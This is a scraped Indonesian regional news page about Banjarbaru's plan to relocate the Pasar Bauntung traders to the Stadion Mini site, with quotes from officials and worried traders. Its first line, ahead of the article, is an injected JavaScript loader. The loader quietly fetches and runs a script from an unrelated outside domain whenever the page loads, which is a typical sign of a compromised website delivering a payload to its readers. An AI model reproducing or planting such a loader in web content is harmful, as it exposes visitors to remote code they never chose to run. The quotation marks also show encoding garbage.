(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Dihadiri sekitar 600 pedagang, Pemerintah Kota Banjarbaru memaparkan rencana relokasi Pasar Bauntung Banjarbaru ke Stadion Mini Gawi Sabarataan jalan RO Ulin Selatan, Kamis (29/11), di gedung Bina Satria. Meski bangunan pasar baru belum ada terlihat dibangun, masih dalam tahap rencana, jauh-jauh hari Pemkot Banjarbaru sampaikan rencana pemindahan.
Ya, seperti berkaca di era kepemimpinan Walikota Rudy Resnawan, tahun 2007 mulai merencanakan pemindahan pedagang Pasar Kamartih Landasan Ulin, akhirnya semua pedagang berhadil direlokasi ke Pasar Ulin Raya pada tahun 2009.
Kepala Dinas Perdagangan dan Penindustrian Kota Banjarbaru Abdul Basith mengatakan, lokasi Pasar Bauntung Banjarbaru yang menempati lahan seluas 1,4 hektare meter persegi sudah tidak representatif lagi. Di atas lahan 1,4 hektare ada 27 Ruko, 300 toko atau kios dan sisanya los, total ada 647 bangunan.
“Disamping 674 bangunan pedagang itu, belum termasuk 322 PKL pasar siang dan PKL pasar subuh,†sebut Abdul Basit.
Sementara itu Walikota Banjarbaru H Nadjmi Adhani mengatakan, sangat berterimakasih kepada para pedagang dapat berhadir didalam acara ini, mengingat dapat menyampaikan secara langsung sosialsiasi ini kepada para pedagang hingga panyampaiannya diradakan secara maksimal.
Menurut Nadjmi, warung atau kios tradisional sekarang sudah mulai mati karena kehadiran toko-toko modern, ditengah kemajuan dan perkembangan zaman, namun diakuinya Banjarbaru salah satu yang menolak perpanjangan izin atas toko modern tersebut. “Saya tidak memberikan izin lagi kepada pasar modern yang baru, alasannya supaya pasar tradisional kita tidak mati,†akunya.
Selama kepemimpinannya tiga tahun menjadi Walikota Banjarbaru, sudah membangun 6 pasar tradisional yang bersih dan nyaman. Diantaranya pasar yang berada di Kelurahan Loktabat Utara, Pasar Kelurahan Palam, hingga Pasar Kelurahan Landasan Ulin Utara. Fasilitas pasar yang baru itu agar masyarakat maupun pedagang berjualan dan berbelanja aman dan nyaman.
“Kami pemerintah kota mempunyai kewajiban untuk memberikan fasilitas yang nyaman bagi masyarakat. Pemindahan Pasar Bauntung yang dibangun sejak tahun 1967 ke Stadion Mini nanti di Kelurahan Loktabat Selatan saya rasa sangat tepat. Mengingat tempat yang sangat trategis, saya mengharapkan kepada seluruh pedangang untuk bisa mendukung kebijakan pemindahan pasar tersebut,†pungkas Nadjmi.
Rencana pemerintah Kota Banjarbaru yang ingin memindahkan pasar Bauntung Banjarbaru ke kawasan Stadion Mini di jalan R.O Ulin Kelurahan Loktabat Selatan dikhuatirkan pedagang akan sepi pembeli, mengingat lokasi tersebut baru dan para pedagang sudah terbiasa berdagang ditempat yang lama.
Terkait rencana kepindahan Pasar Bauntung, Abdul Kadir, salah seorang pedagang yang sudah puluhan berjualan punya rasa kekhawatiran pemindahan pasar yang akan dilakukan Pemkot Banjarbaru akan berdampak bagi perekonomian mereka.
“Kami khawatir jika Pemerintah Kota Banjarbaru memindahkan pasar akan berdampak pada penghasilan kami, karena sepi pembeli,†ujarnya.
Ditambahkan Abdul Kadir, selain kekhawatiran sepinya pengunjung pasar bila nanti berada di lokasi baru, Pasar Bauntung yang sudah ada sejak tahun 1967 tersebut sudah menjadi darah daging mereka, saking lamanya berada di sana, ada ikatan sejarah emosional yang dimiliki pedagang dengan pasar tersebut.
“Pasar Bauntuag ini sudah memiliki nilai sejarah bagi kami, kami takut kehilangan dari sisi tradisinya mengingat pasar tersebut sudah berdiri puluhan tahun bersama kami,†akunya Abdul Kadir.
Sekadar mengingatkan, tahun 2009 Pemkot Banjarbaru pernah sukses memindah Pasar Kamaratih -berdiri di lahan milik perorangan dengan luas 0,8 hektare- jalan Ahmad Yani km 24 Landasan Ulin, dipindah ke lokasi pasar baru yakni Pasar Ulin Raya. Saat itu Pemkot Banjarbaru di era Walikota Rudy Resnawan mulai membangun Pasar Ulin Raya mulai tahun 2007, relokasi pedagang Pasar Kamaratih ke Pasar Ulin Raya berjalan lancar pada tahun 2009.
Pun, awalnya ratusan pedagang Pasar Kamaratih bersuara tidak mau dipindah lantaran takut jualan mereka sepi dan tak laku di lokasi baru. Belakangan, sejak direlokasi tahun 2009 hingga saat ini, aktivitas roda perekonomian di Pasar Ulin Raya terus berjalan.
Kala itu, ratusan pedagang berdemo dan tak mau dipindah ke Pasar Ulin Raya yang lebih representatif. Meski akhirnya, pedagang berhasil semua dipindahkan ke lokasi baru, hingga bertahan sampai saat ini. (rendy/bie)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.